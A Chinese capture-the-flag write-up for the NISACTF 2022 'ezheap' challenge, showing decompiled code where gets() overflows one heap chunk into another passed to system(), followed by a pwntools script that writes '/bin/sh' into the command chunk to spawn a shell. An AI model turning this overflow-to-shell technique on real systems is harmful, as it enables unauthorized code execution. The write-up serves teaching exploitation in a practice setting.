NSSCTF [NISACTF 2022]ezheap

2058.[NISACTF 2022]ezheap(堆溢出)

[NISACTF 2022]ezheap

1.准备
2.ida分析
main函数
复制代码
int __cdecl main(int argc, const char **argv, const char **envp)
{
  char *command; // [esp+8h] [ebp-10h]
  char *s; // [esp+Ch] [ebp-Ch]

  setbuf(stdin, 0);
  setbuf(stdout, 0);
  s = (char *)malloc(0x16u);
  command = (char *)malloc(0x16u);
  puts("Input:");
  gets(s);
  system(command);
  return 0;
}

这里先创建两个堆块s和command

然后在s有一个输入点,gets函数,存在堆溢出

并在下面有system函数,内容为command块的内容

3.EXP
思路:

这题有堆溢出和system函数,程序最后会运行system函数,内容为command块的内容

所以我们可以通过堆溢出,从s堆块溢出到command块,写入'/bin/sh',触发连接

通过gdb调试,得到偏移量

在main函数下断点,运行程序

一直运行到两个call malloc@plt后,查看堆情况

看到这里先要填充28个字节,在给command块一个size值后,就可以在command块填入'/bin/sh'当作它的内容

复制代码
paylaod=b'a'*28+p32(0x21)+b'/bin/sh\x00'
脚本
复制代码
from pwn import *
context.log_level = "debug"
# io=remote('node5.anna.nssctf.cn',21394)
io= process('/home/motaly/pwn')
paylaod=b'a'*28+p32(0x21)+b'/bin/sh\x00'
io.sendline(paylaod)
io.interactive()
相关推荐
qeen871 天前
【数据结构】建堆的时间复杂度讨论与TOP-K问题
c语言·数据结构·c++·学习·
深邃-2 天前
【数据结构与算法】-二叉树(2):实现顺序结构二叉树(堆的实现),向上调整算法,向下调整算法,堆排序,TOP-K问题
数据结构·算法·二叉树·排序算法·堆排序··top-k
qeen874 天前
【数据结构】二叉树基本概念及堆的C语言模拟实现
c语言·数据结构·c++·
每天一把堆栈6 天前
软件系统安全赛区域赛
安全·网络安全·pwn
雪碧聊技术7 天前
Native关键字、程序计数器、方法区
·程序计数器·方法区·native关键字
小辉同志9 天前
215. 数组中的第K个最大元素
数据结构·算法·leetcode··快速选择
YuanDaima204816 天前
堆(优先队列)基础原理与题目说明
linux·运维·服务器·人工智能·python··代码
im_AMBER16 天前
Leetcode 158 数组中的第K个最大元素 | 查找和最小的 K 对数字
javascript·数据结构·算法·leetcode·
汀、人工智能21 天前
[特殊字符] 第100课:任务调度器
数据结构·算法·数据库架构·贪心··任务调度器
汀、人工智能23 天前
[特殊字符] 第95课:冗余连接
数据结构·算法·链表·数据库架构··冗余连接